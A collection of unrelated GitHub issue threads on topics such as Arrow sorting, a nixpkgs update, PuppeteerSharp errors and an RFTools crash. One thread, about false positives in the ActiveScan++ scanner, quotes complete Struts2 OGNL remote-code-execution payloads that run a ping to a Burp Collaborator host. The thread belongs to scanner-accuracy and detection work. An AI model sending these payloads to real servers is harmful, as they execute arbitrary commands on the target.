Component(s)
C++

cc @felipecrv

Two potential downsides to this approach:

the size taken by those temporary ResolvedChunks is twice the size of indices, hence a bigger CPU cache footprint
there has to be a final "reverse resolution" step where we convert back the sorted ResolvedChunks into absolute indices... or we maintain those absolute indices along the ResolvedChunk, which implies an ever bigger cache footprint

Experimenting will tell whether this can be beneficial.

I made some initial experiments on this and I came to the following conclusion:

The performance is a mixed bag, with some non-negligible speedups on small input sizes (32k rows in the sort benchmarks) but also apparent slowdowns on larger inputs (8M rows). This is probably a combination of

allocation cost, since 16 bytes per input row are allocated for a int64_t pair
increased memory footprint and decreased cached efficiency, both because of enlarged indices and the temporary memory area

Therefore, further exploration should go towards

compressing resolved indices to make them fit in 64 bits (e.g. 20 bits of chunk_index, 44 bits of index_in_chunk)
transforming the logical indices to physical in place before merging the chunks, and transforming them back to physical in place after merging

I might dedicate some time to this.

Issue resolved by pull request 44217
https://github.com/apache/arrow/pull/44217


rnp: 0.16.3 -> 0.17.0

Description of changes

version update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[x] aarch64-darwin

[x] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 240272 run on aarch64-darwin 1

1 package built:

rnp


sdf_bind_* functions broken with dev rlang

Need to figure out what behaviors of rlang::dots_splice() we depend on and have the rlang repo include in tests or refactor accordingly if we've been depending on unintended behavior.

Tests clear as of https://github.com/tidyverse/rlang/commit/f96007e7c26360778233b74754acc773bacb5943


Remove string dequoting from KToken

~Blocked on: https://github.com/runtimeverification/haskell-backend/issues/3563~ Edit: skipping tests
Fixes #140
Fixes #314
Removes string dequoting from KToken, which now occurs on KAST-to-KORE conversion.

@ehildenb, some newly added integration tests fail due to https://github.com/runtimeverification/haskell-backend/issues/3563. Should I just disable them and proceed with this PR?

@tothtamas28 please also test this with KEVM Foundry integration locally, and make sure it works prior to merge. If the tests there aren't passing, then something is going wrong with the bytes encoding choices.

Also, does this have any performance impact?

Also, does this have any performance impact?

It makes KAST <-> JSON much faster, and KAST <-> KORE somewhat slower. Here are some measurements.

old
new
speedup

JSON -> KAST
0.639
0.017
38x

KAST -> JSON
0.594
0.002
297x

KAST -> KORE
0.016
0.022
-30%


Minimum required permissions

The document System requirements and prerequisites have no clear information about the minimum required permissions to dual-write work.
For example, on item 3.ii, when it says to add the app in the Azure Active Directory application on FnO. It is not clear which user ID should be used. We have already seen several issues because customers set any user and the integration will not work. Using the Admin user works.
My request is that the documentation be clear about the minimum required permissions are required for these applications.

12/14/22 Emailed Nathan asking him to review the suggestions to see if changes can be made.

@fgehrke Thank you for letting us know. The author has published some changes to improve the documentation and has more changes on the way. Hopefully these will be helpful for you.


False positives for ping-based RCE detection

Issue
In my current project, a lot of RCE vulnerabilities are found by ActiveScan++ with a confidence rating of "firm", since a DNS lookup was detected for:
User-Agent: %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ping gdxykiakej37erxvopntoezq8he72w.oastify.com -c1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
I could replicate this using Burp Repeater / Collab. However, it seems as if the reason for this DNS lookup is not necessarily a RCE, but simply the presence of the URL in the header. As a matter of fact, Collab received lookups also when replacing the ping command by the following string:
(#cmd='asdf13.3dh88xris6i8yq6pljfn97t8szyqmhf54.oastify.com -asdf')
A colleague of mine mentioned that he'd noticed something like this before, and according to the corresponding customer, the entity issuing the DNS request seemed to be a reverse proxy -- I.e., the root cause of this is the presence of the URI, not the code execution.
Possible remediation
During my manual testing, I've also tried the following bash command to differentiate whether bash commands are executed or whether it's imply a reverse proxy issuing a lookup based on the detected URI:
ping $(echo "$((1+2))").9ble63poqcgeww4vjpdt7dreq5wwku8j.oastify.com -c 1
When using this command from a terminal on my machine, Collab received a DNS lookup for 3.[domain].oastify.com. In case of the remote machine, however, a lookup for [domain].oastify.com was received. This may be an effective way to properly differentiate between remotely executed code or other stuff that happens just based on the presence of URLs in corresponding HTTP header fields.

Thanks for the report, this is really useful. I'll take a look at getting a fix in place

I've pushed a fix which uses .replace() to misdirect and DNS requests triggered  by WAFs:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=('ping svr9sv8gymo44eqt5wzjcr16lxrnfcy95630e.psres.net -c1').replace('y95630e', '')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

That should hopefully fix it without risking FNs on Windows

It looks like the XXE check may have a similar issue so I'll tackle that next


Image cannot be pulled

I noticed the package is not properly shown in the repository. Moreover, I cannot pull.
# docker pull ghcr.io/trudi-group/kubo-mexport:latest
Error response from daemon: Head "https://ghcr.io/v2/trudi-group/kubo-mexport/manifests/latest": unauthorized

I suspect that the image must have the same name as the repository. So either we tag the image ipfs-metric-exporter or rename this repo to kubo-mexport.
I found this which suggests the same.

That was a permission issue, please try again now :)

It works!


Protocol error (Runtime.callFunctionOn): Promise was collected CDPSession

Description
We have a binary URL to download some CSV file which is opened through a function evaluation.
Because we want to download the file to a specific location we've set the download path specifically (full path) however we keep on getting this exception which is a blocker.
Exception:
One or more errors occurred. (Protocol error (Runtime.callFunctionOn): Promise was collected)
Inner Exception:
PuppeteerSharp.MessageException: Protocol error (Runtime.callFunctionOn): Promise was collected
at PuppeteerSharp.CDPSession.SendAsync(String method, Object args, Boolean waitForCallback)
at PuppeteerSharp.CDPSession.SendAsync[T](String method, Object args)
at PuppeteerSharp.ExecutionContext.EvaluateHandleAsync(String method, Object args)
at PuppeteerSharp.ExecutionContext.EvaluateFunctionHandleAsync(String script, Object[] args)
Complete minimal example reproducing the issue
Complete means the code snippet can be copied into a unit test method in a fresh C# project and run.
Minimal means it is stripped from code not related to reproducing the issue.
E.g.
    public async Task<string> TryExecuteScriptAsync(string functionName, object[] parameters, bool shouldExpectNavigation, bool shouldExpectBinaryUrlDownload, bool shouldExpectDownload, EventHandler<PageExecutionEventArgs> callOnCompleteExecutionForNewTarget)
    {
        var browser = await Puppeteer.LaunchAsync(new LaunchOptions
        {
            ExecutablePath = _downloader.GetExecutablePath(BrowserFetcher.DefaultRevision),
            Headless = false,
            Devtools = true,
            LogProcess = true,
            Timeout = 60000
        });
        var _puppeteerPage = await browser.NewPageAsync();
        try
        {
            await _puppeteerPage.GoToAsync("theurlwhichdoesthat.io/path", new NavigationOptions{ Timeout = 60000, WaitUntil = new []{WaitUntilNavigation.Networkidle0}});
            Trace.WriteLine($"In TryExecuteScriptAsync for {functionName} with shouldExpectNavigation = {shouldExpectNavigation} & shouldExpectBinaryUrlDownload = {shouldExpectBinaryUrlDownload} & shouldExpectDownload = {shouldExpectDownload}");
            var result = "unknown";
            if (shouldExpectNavigation)
            {
                var evaluationResponseThatIsNotWaitedOnPurpose = _puppeteerPage.EvaluateFunctionAsync(functionName, parameters); /* We don't wait here because for binary url downloads we need to setup download path before download happens */
                if (shouldExpectBinaryUrlDownload)
                {
                    var newTarget = await _puppeteerPage.Browser.WaitForTargetAsync(t => t.Opener == _puppeteerPage.Target);
                    var client = await newTarget.CreateCDPSessionAsync();
                    await client.SendAsync("Page.setDownloadBehavior", new { behavior = "allow", downloadPath = DownloadFolder }, false);

                    return evaluationResponseThatIsNotWaitedOnPurpose.Result?.ToString() ?? result;
                }
                await _puppeteerPage.WaitForNavigationAsync(new NavigationOptions{ Timeout = 10000, WaitUntil = new []{WaitUntilNavigation.Networkidle0}});
            }
            else
            {
                if (shouldExpectDownload)
                {
                    var client = await _puppeteerPage.Target.CreateCDPSessionAsync();
                    await client.SendAsync("Page.setDownloadBehavior", new { behavior = "allow", downloadPath = DownloadFolder });
                }

                var waitedResponse = await _puppeteerPage.EvaluateFunctionAsync(functionName, parameters);
                result = waitedResponse?.ToString() ?? result;
            }

            return result?.ToString();
        }
        catch (EvaluationFailedException e)
        {
            if (e.InnerException?.Message == "Protocol error (Runtime.callFunctionOn): Promise was collected" && (e.InnerException?.StackTrace.Contains("CDPSession.SendAsync") ?? false))
            {
                Trace.WriteLine("MessageException for binary url download");
                return "all-finalized!";
            }

            return $"Script Execution Failed with {e.Message}";
        }
    }

Expected behavior:
Code continues with the next steps after exiting the method.
Actual behavior:
Code continues and returns from the method (without catching exception) but later on while the browser is still running (we will have other executions) it suddenly throws exception as described above.
Versions
PS V1.14.1
.NET Core 2.2
Mac OS & Rider 2019.1

I think the main problem here is that, those binary pages don't go through full page lifecycle. They open and close almost instantly. Even the TargetCreated event from the browser comes after download finishes. But I was unable to find any other way of setting the download path.

Hey @sseyalioglu could you help me out with some code using public urls I can use to test this?

I will try to get the same thing simulated. Unfortunately it is not a public URL that we use and cannot share that. I think in a day we may have the simulation of the same.

In the meantime, can you help explaining what this means?
Protocol error (Runtime.callFunctionOn): Promise was collected
What is the possible protocol error? And what does it mean by "promise was collected"? If it was not collected, that would be more meaningful normally. (I am sure it is meaningful still)

collected means collected by the garbage collector. Chromium sends that message to all promises it's about to kill.

That's helpful. What might be the "Protocol error" in this case?
And what normally should be done to prevent "collection" exception.
Note: When binary url exists, it generally happens quite fast. Opens the new tab, downloads file and tab closes instantly.

My feeling is that the Session is crashing before or during that evaluation.

Closed due to inactivity. Feel free to reopen it if needed.


A way to toggle/see timers in the Mac Menu bar

I would love a way to have my current timer in the Mac toolbar and be able to see the current running time there as well being able to start stop the timer there.
I really don't know if and how it is possible to interact with obsidian plugins at this place but maybe a first step would be to have the possibility to trigger the last used (current) timer with a hotkey or obsidian command. I think then I could find a way to trigger this from my Mac using automator or something like that (maybe someone has an idea?) :D
This would make my freelancing work so much nicer!

Hi @manu-facture,
I use macOS and Windows. Obsidian plugins are by default limited to the Obsidian “editor” itself and have no direct integration into the macOS toolbar (menu bar).
For this feature an external / own program would have to be written, which runs independently of Obsidian, which unfortunately (as far as I know^^) is not the focus of this plugin.
Kind regards,
Karamellwuerfel


build: fixup pyproject.toml per newest Hatchling release

There's a new release of hatchling is causing the build to fail:
https://github.com/narwhals-dev/narwhals/actions/runs/11764476318/job/32769662368?pr=1326:
Traceback (most recent call last):
  File "<string>", line 11, in <module>
  File "/home/runner/work/_temp/setup-uv-cache/builds-v0/.tmpqjAseZ/lib/python3.12/site-packages/hatchling/build.py", line 83, in build_editable
    return os.path.basename(next(builder.build(directory=wheel_directory, versions=['editable'])))
                            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/runner/work/_temp/setup-uv-cache/builds-v0/.tmpqjAseZ/lib/python3.12/site-packages/hatchling/builders/plugin/interface.py", line 90, in build
    self.metadata.validate_fields()
  File "/home/runner/work/_temp/setup-uv-cache/builds-v0/.tmpqjAseZ/lib/python3.12/site-packages/hatchling/metadata/core.py", line 266, in validate_fields
    self.core.validate_fields()
  File "/home/runner/work/_temp/setup-uv-cache/builds-v0/.tmpqjAseZ/lib/python3.12/site-packages/hatchling/metadata/core.py", line 1363, in validate_fields
    getattr(self, attribute)
  File "/home/runner/work/_temp/setup-uv-cache/builds-v0/.tmpqjAseZ/lib/python3.12/site-packages/hatchling/metadata/core.py", line 753, in license_files
    raise TypeError(message)
TypeError: Field `project.license-files` must be an array

This fixes that, but it looks like there's also an issue with hatch run which may need patching in hatchling https://github.com/pypa/hatch/issues/1793

hatchling have put out a new release, and this has fixed that, so this can be closed 🥳


Release Service Bus Track 2 Library Preview 3 for .NET

This is a parent issue tracking the work planned for Service Bus to release the third preview in June following the C# .Net Azure SDK guidelines
Code complete date: June 5th, 2020

[x] CRUD & list operations using connection string
[ ] Design for supporting various AMQP data types for message body
[x] Design and implement message body as string
[x] Tracing support
[ ] Finalize API changes

@JoshLove-msft according to the list in the issue description, API changes should be finalized in preview 3. Yet I haven't seen an issue about pipelines, which I suspect would have an impact on the API. I've raised an issue about it here.

Given that " Design for supporting various AMQP data types for message body" and "Finalize API changes", are those tracked separately or elsewhere? Thank you.

Yep, outstanding items have been moved to new Epic - https://github.com/Azure/azure-sdk-for-net/issues/12384

Now it's crystal clear 😃
Merci!


Recognize more comment styles

Currently, since typedoc uses getJSDocCommentRanges for retrieving comments, line comments and block comments that don't start with /** are not recognized:
class X {
  /**
   * works
   */
  x() {
  }

  /*
   * doesn't work
   */
  x2() {
  }

  // doesn't work
  x3() {
  }
}

It should be fairly easy to remove this limitation by copying getJSDocCommentRanges without the filtering at the end.

Because that's our comment style for all kinds of comments.

I second this request.

btw, we've written https://github.com/adrianheine/gettypes/ and use that together with https://github.com/marijnh/builddocs. It's highly opinionated, though.


[DESIGN] Hidden layer

Make a reference (visual) when a layer is hidden

When the layer is hidden we show infobox and the rest of the content disabled.

cc @saleiva

Already opened -> https://github.com/CartoDB/cartodb/issues/7895. Closing.

@saleiva @urbanphes does the infobox remain when the user changes to the cartocss editor?

Nope
On Jul 2, 2016 7:39 PM, "Buti"<EMAIL_ADDRESS>wrote:

@saleiva https://github.com/saleiva @urbanphes
https://github.com/urbanphes does the infobox remain when the user
changes to the cartocss editor?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/CartoDB/cartodb/issues/8064#issuecomment-230113448,
or mute the thread
https://github.com/notifications/unsubscribe/AAIENem5zkJzrMgFNsXXbJwfkka3-xKfks5qRqI4gaJpZM4I75R1
.


HOC removal, settings page & theming

Dark themeing added!
Found a way to avoid using HOCs with JSS/material-ui. This was my biggest concern with regard to material-ui and JSS.
Fixed a very minor issue where the navigation page's open-close logic was reversed.
Settings page (was supposed to be in another PR but lint-staged forced all my changes in the settings file to be added after formatting, will need to do something about that).

Not reviewing because not working on frontend rn but dark theme looks great!


Integration for Meteor.

Hi pal, here are little integration with meteor.

Merged! Thanks! :+1:

wow, thks bro !!!
Probably more work required ... like travis-cli / grunt integration ...
here the link:
https://atmospherejs.com/i/publishing


Crash When Opening RFTools Manual in Age of Engineering

I tried to open the manual to read about something, and as soon as I opened it, the game crashed. I restarted the game and tried to open it again and got a crash again.
I have included the crash reports.
crash-2017-08-01_16.43.25-client.txt
crash-2017-08-01_16.50.00-client.txt

What version?

@McJty I believe it is version rftools-1.1x-5.92 of rftools. This happens to me as well. Same crash. Both on a server and in a single player instance. If you are curious about the version of Age of Engineering it happens in, it is 1.0.4

#1314 is a duplicate.

Very weird. I don't understand why this could happen. Does AoE do anything special with the manual or something?

It doesn't do anything special from what I can tell. Default crafting recipe.

The same thing happens to me.

Same here with Infinity Lite.
Minecraft: 1.10.2
RFtools: rftools-1.1x-5.91
McJity: mcjtylib-1.1x-2.4.3

Same here with Age of Engineering 1.1.0
Minecraft 1.10.2
RFtools: rftools-1.1x-5.92
mcjty: mcjtylib-1.1x-2.4.3
crashing when trying to open the manual
https://pastebin.com/gzktzqRv
also crashing when trying to access the manual from a power cell for example
https://pastebin.com/TcR0k1Qx
although the error seems to remain the same

Hi there, Using Age of Engineering 1.1.1c
Same issue as everyone, this case with the crafter (tier 3) on the ? click:
crash-2017-10-26_15.44.47-client.txt
crash-2017-10-26_15.49.44-client.txt
Also, here's the log:
fml-client-latest.log
If you need anything else feel free to ask.
I don't really know what mod could cause this interference.

Hey @McJty my log file says something like this:

[15:49:40] [Client thread/ERROR] [mcjty.lib.varia.Logging/]: Error reading manual text
java.io.FileNotFoundException: rftools:text/manualUS.txt

At line 23798
I think is the root of the issue. Hope that helps.

That has something to do with it. I extracted the jar and duplicated manual.txt to manualUS.txt and everything looks like it's working.
Although I do get some text that looks like {rb:smartwrench} on some pages that I assume should be replaced with something.

Yaay, I'm glad I helped somehow hah.

I think this is called by using too old versions. There were some changes around manual.txt around that time and there may have been a mismatch between the version of McJtyLib used back then and rftools

just happened to me too

It is not useful to add 'me too' type comments to this issue. I know it happens. No idea why but I think it is solved in more recent versions. The pack needs an update

Working on the manual issue still?
https://pastebin.com/uitAvPmR
Just had it happen to me. Latest version of the pack.
Age of Engineering: 1.1.1c
Forge-<IP_ADDRESS>7
Minecraft 1.10.2
Java.. hmm have to look
Version 8 update 131 (build 1.8.0_131-b11)
Open the book, frozen screen, crash to launcher, happened twice.
Anything else I should include in any future reports?

I need to know rftools version

I will close this issue as this is all with very old versions of RFTools. The packs are simply outdated

He edited the RFT version into his comment, but I think is correct to close it if it's solved.

Well I have no idea if it is solved or not but this has only been ever reported for ancient versions of RFTools. As far as I know nobody ever got this bug on recent versions so until then I consider this bug squashed :-)